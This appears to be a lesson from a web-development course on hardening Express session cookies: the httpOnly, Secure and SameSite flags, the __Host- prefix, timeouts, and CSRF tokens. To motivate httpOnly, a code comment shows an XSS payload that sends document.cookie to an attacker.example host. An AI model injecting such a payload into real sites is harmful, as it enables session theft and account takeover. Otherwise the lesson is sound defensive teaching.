πͺ Cookie Security
The session ID cookie is the one thing your user actually carries β and it's the crown jewel an attacker wants. Steal it and they are your user. In this lesson you'll set the three flags that stop most cookie theft, use cookie prefixes for extra guarantees, and defend against CSRF, the attack that turns a valid cookie against its owner.
Week 9 · Day 3 (Wednesday: Session-based Authentication) · Lecture 3
π― Learning Objectives
By the end of this lesson, you will be able to:
- Explain the threats to a session cookie: theft, XSS, and CSRF
- Apply the
httpOnly,Secure, andSameSiteflags correctly - Choose between
SameSiteStrict, Lax, and None for a given cookie - Use the
__Host-prefix to lock a cookie to one host over HTTPS - Set defensible cookie expiry with idle and absolute timeouts
- Add CSRF protection to state-changing routes
Estimated Time: 70 minutes
Practice: Configure a fully hardened session cookie and add CSRF protection to a form route.
In This Lesson
The Threats
Because a session cookie is a bearer credential β whoever holds it is treated as the user β it faces three main attacks. Each cookie flag you'll learn maps directly to one of them.
π Coffee-shop Wi-Fi
A user checks their account over open Wi-Fi. If the site uses plain HTTP, anyone sniffing the network reads the cookie in the clear (fixed by Secure + HTTPS). If the site has an XSS hole, injected JavaScript can read document.cookie and ship it to an attacker (fixed by httpOnly). And a malicious page in another tab can quietly fire a request that rides along on the valid cookie (fixed by SameSite and a CSRF token).
httpOnly: Block XSS Theft
The httpOnly flag makes a cookie invisible to JavaScript. The browser still sends it with every request, but document.cookie can't see it β so even a successful XSS injection can't read your session ID.
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: { httpOnly: true } // JavaScript cannot read this cookie
}));
β οΈ Without httpOnly, one XSS hole = stolen sessions
// Injected via an XSS vulnerability, this exfiltrates the cookie:
// <script>fetch('https://attacker.example/steal?c=' + document.cookie)</script>
// With httpOnly, document.cookie simply doesn't contain the session ID:
console.log(document.cookie); // session cookie is NOT present
express-session defaults httpOnly to true β keep it that way. There is essentially never a reason for client JavaScript to read a session cookie.
Secure: HTTPS Only
The Secure flag tells the browser to send the cookie only over encrypted HTTPS connections. Without it, a single plain-HTTP request could leak the cookie to anyone on the network.
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
// HTTP is used in local dev, HTTPS in production β so toggle by environment:
secure: process.env.NODE_ENV === 'production'
}
}));
π‘ The "cookie won't set" gotcha
Behind a load balancer or reverse proxy, Express sees plain HTTP internally even though users connect over HTTPS. With secure: true, it then refuses to set the cookie. Tell Express to trust the proxy:
app.set('trust proxy', 1); // honor X-Forwarded-Proto from the proxy
For consistent behavior, run HTTPS locally too (e.g. with mkcert) so dev and prod behave the same.
SameSite: Curb CSRF
SameSite controls whether the cookie is sent on requests originating from other sites. It's your first line of defense against CSRF, where a malicious page tries to make an authenticated request on the user's behalf.
| Value | Cookie is sent⦠| Use for |
|---|---|---|
Strict | only on same-site requests (never from another site, even via a link) | The most sensitive cookies where cross-site sends are never needed |
Lax | same-site requests plus top-level navigations (clicking a link) | The sensible default for session cookies |
None | all requests, including cross-site (requires Secure) | Only when a genuine cross-site cookie is unavoidable |
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
sameSite: 'lax' // good default; blocks most cross-site request forgery
}
}));
β οΈ SameSite is not a complete CSRF defense
Lax still allows the cookie on top-level GET navigations, and cross-subdomain setups can weaken it. Treat SameSite as strong defense-in-depth, but still add an explicit CSRF token on state-changing routes (below).
π‘ A per-cookie strategy
Different cookies want different values. A login/session cookie is a great fit for Strict or Lax; a cookie that must work from an embedded widget on another domain needs None; Secure. Choose the tightest value each cookie can tolerate.
Cookie Prefixes
Cookie name prefixes are a browser-enforced guarantee. If a cookie's name starts with a reserved prefix, the browser refuses to store it unless it meets strict conditions β so an attacker can't overwrite it with a weaker version.
| Prefix | Browser requires | Protects against |
|---|---|---|
__Secure- | Secure flag, set over HTTPS | Cookies being set over plain HTTP |
__Host- | Secure, HTTPS, Path=/, and no Domain | Subdomain attacks β the cookie is pinned to the exact host |
app.use(session({
name: '__Host-sid', // browser enforces the __Host- rules below
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true,
secure: true, // required by __Host-
sameSite: 'lax',
path: '/' // required by __Host-
// NOTE: do NOT set `domain` β __Host- forbids it
}
}));
β
Why __Host- is worth it
It guarantees the cookie can only have been set by this exact host over HTTPS, and can't be scoped to a parent domain a sibling subdomain might abuse. It's the strongest name-level guarantee available for a session cookie β use it whenever you're fully on HTTPS.
Expiry & Timeouts
A cookie that lives forever is a stolen credential that works forever. Short lifetimes shrink the attacker's window. Two timeouts work together:
- Idle timeout β expires the session after a period of inactivity (e.g. 30 minutes)
- Absolute timeout β forces re-authentication after a hard cap regardless of activity (e.g. 24 hours)
const IDLE = 30 * 60 * 1000; // 30 minutes
const ABSOLUTE = 24 * 60 * 60 * 1000; // 24 hours
app.use(session({
secret: process.env.SESSION_SECRET,
rolling: true, // reset maxAge on each response = sliding idle window
cookie: { httpOnly: true, sameSite: 'lax', maxAge: IDLE }
}));
// Enforce the absolute cap on top of the idle window:
app.use((req, res, next) => {
if (!req.session?.userId) return next();
if (!req.session.createdAt) req.session.createdAt = Date.now();
if (Date.now() - req.session.createdAt > ABSOLUTE) {
return req.session.destroy(() => res.status(440).json({ message: 'Session expired' }));
}
next();
});
π‘ rolling: true gives you the sliding window
With rolling, every response resets the cookie's maxAge, so an active user stays logged in while an idle one is expired after IDLE. The manual middleware then enforces the absolute cap so a session can't live indefinitely just because someone keeps clicking.
CSRF Protection
Cross-Site Request Forgery abuses the fact that browsers attach cookies automatically. A malicious page can submit a form to your site, and the browser dutifully sends the user's session cookie along β so the request looks authentic. The defense: require a secret token that the attacker's page can't know.
Because a cross-site page can send the cookie but cannot read a token your server planted (same-origin policy), demanding that token per request stops the forgery. The maintained modern middleware is csrf-csrf (the old csurf package is deprecated).
// npm install csrf-csrf
const { doubleCsrf } = require('csrf-csrf');
const { doubleCsrfProtection, generateToken } = doubleCsrf({
getSecret: () => process.env.CSRF_SECRET,
cookieName: '__Host-psifi.x-csrf-token',
cookieOptions: { httpOnly: true, secure: true, sameSite: 'lax', path: '/' },
getTokenFromRequest: (req) => req.headers['x-csrf-token']
});
// Hand the SPA a token to echo back on writes:
app.get('/api/csrf-token', (req, res) => {
res.json({ csrfToken: generateToken(req, res) });
});
// Guard state-changing routes; GET/HEAD/OPTIONS are exempt by design:
app.post('/api/profile', doubleCsrfProtection, (req, res) => {
// reached only if the token is valid
res.json({ message: 'Profile updated' });
});
// Turn CSRF failures into a clean 403:
app.use((err, req, res, next) => {
if (err.code === 'EBADCSRFTOKEN' || err.message?.includes('csrf')) {
return res.status(403).json({ message: 'Invalid CSRF token' });
}
next(err);
});
// Frontend: fetch the token once, then send it on every write.
async function post(url, body) {
const { csrfToken } = await fetch('/api/csrf-token', { credentials: 'include' })
.then(r => r.json());
return fetch(url, {
method: 'POST',
credentials: 'include', // send the session cookie
headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken },
body: JSON.stringify(body)
});
}
β Layer the defenses
SameSite blocks most CSRF at the browser level; the token catches what slips through (e.g. GET-navigation edge cases or misconfigured subdomains). Together with httpOnly and Secure, they form defense-in-depth β no single flag is trusted alone.
A Full Secure Config
Everything from this module, assembled: a Redis-backed session, a hardened __Host- cookie, session regeneration on login, and CSRF protection.
require('dotenv').config();
const express = require('express');
const session = require('express-session');
const { RedisStore } = require('connect-redis');
const { createClient } = require('redis');
const helmet = require('helmet');
const app = express();
app.set('trust proxy', 1); // correct `secure` behavior behind a proxy
app.use(helmet()); // sensible security headers
app.use(express.json());
const redisClient = createClient({ url: process.env.REDIS_URL });
redisClient.connect().catch(console.error);
app.use(session({
store: new RedisStore({ client: redisClient, prefix: 'sess:', ttl: 60 * 60 }),
name: '__Host-sid',
secret: process.env.SESSION_SECRET, // strong, from the environment
resave: false,
saveUninitialized: false,
rolling: true,
cookie: {
httpOnly: true, // no JS access (anti-XSS)
secure: process.env.NODE_ENV === 'production', // HTTPS only (must be true for __Host-)
sameSite: 'lax', // anti-CSRF default
path: '/', // required by __Host-
maxAge: 60 * 60 * 1000 // 1-hour idle window
}
}));
app.post('/login', async (req, res) => {
// ...verify credentials...
req.session.regenerate((err) => { // new ID = anti-fixation
if (err) return res.status(500).json({ message: 'Login failed' });
req.session.userId = 'user-123';
req.session.createdAt = Date.now();
req.session.save(() => res.json({ message: 'Logged in' }));
});
});
app.post('/logout', (req, res) => {
req.session.destroy(() => {
res.clearCookie('__Host-sid');
res.json({ message: 'Logged out' });
});
});
app.listen(3000, () => console.log('Hardened session server on :3000'));
Practice & Quiz
ποΈ Exercise 1: Harden a cookie
Goal: Start from cookie: { maxAge: 3600000 } and turn it into a fully hardened __Host- session cookie.
π‘ Hint
The __Host- name requires secure: true, path: '/', and no domain. Add httpOnly and sameSite for XSS/CSRF defense.
β Solution
app.use(session({
name: '__Host-sid',
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true, // required by __Host-
sameSite: 'lax',
path: '/', // required by __Host-
maxAge: 3600000
// no `domain` β forbidden by __Host-
}
}));
ποΈ Exercise 2: Add CSRF to a form route
Goal: Protect POST /settings with a CSRF token and expose a GET /csrf-token endpoint for the frontend.
β Solution
const { doubleCsrf } = require('csrf-csrf');
const { doubleCsrfProtection, generateToken } = doubleCsrf({
getSecret: () => process.env.CSRF_SECRET,
getTokenFromRequest: (req) => req.headers['x-csrf-token']
});
app.get('/csrf-token', (req, res) => {
res.json({ csrfToken: generateToken(req, res) });
});
app.post('/settings', doubleCsrfProtection, (req, res) => {
res.json({ message: 'Settings saved' });
});
π― Quick Quiz
Question 1: Which flag stops injected JavaScript from reading the session cookie?
Question 2: What does the __Host- prefix require the browser to enforce?
Question 3: Why is a CSRF token still needed when SameSite=Lax is set?
Best Practices & Pitfalls
β Do
- Set
httpOnly,secure(in production), andsameSiteon every session cookie - Use the
__Host-prefix once you're fully on HTTPS - Serve everything over HTTPS and add
app.set('trust proxy', 1)behind a proxy - Keep sessions short-lived with idle + absolute timeouts
- Add a CSRF token to every state-changing route, on top of
SameSite - Add
helmet()for a baseline of secure response headers
β Don't
- Rely on
SameSitealone as your entire CSRF defense - Put real data in the cookie β the session ID must be an opaque reference
- Use the deprecated
csurfpackage for new code β prefercsrf-csrf - Set a
Domainwhen using__Host-(the cookie will silently be rejected) - Forget to
clearCookie()on logout after destroying the session
β οΈ Cross-domain SPA = the hard case
If your frontend and API live on different domains, SameSite=Strict/Lax will block the cookie on API calls. You'll need SameSite=None; Secure plus a strong CSRF token β or, better, host the API on a subdomain of the same site so a tighter SameSite keeps working.
Summary
π Key Takeaways
- The session cookie is a bearer credential β protect it like a password
httpOnlyblocks XSS theft,Secureforces HTTPS,SameSitecurbs CSRF- The
__Host-prefix pins a cookie to one host over HTTPS withPath=/and noDomain - Use idle + absolute timeouts to shrink the window a stolen cookie is useful
- Add a CSRF token on state-changing routes β
SameSiteis defense-in-depth, not a full fix - Layer everything: HTTPS,
helmet, hardened cookies, regeneration, and CSRF together
π Additional Resources
- OWASP β Session Management Cheat Sheet
- OWASP β CSRF Prevention Cheat Sheet
- Express β Security best practices
- MDN β Set-Cookie security
π What's Next?
You've mastered stateful, session-based authentication end to end. Next we broaden the picture to delegated auth: OAuth 2.0 Flow Explained β how "Sign in with Google" lets a third party vouch for a user without ever sharing their password.
π Cookies locked down!
Your sessions are stored safely, expire sensibly, and can't be stolen or forged easily. That's production-grade auth.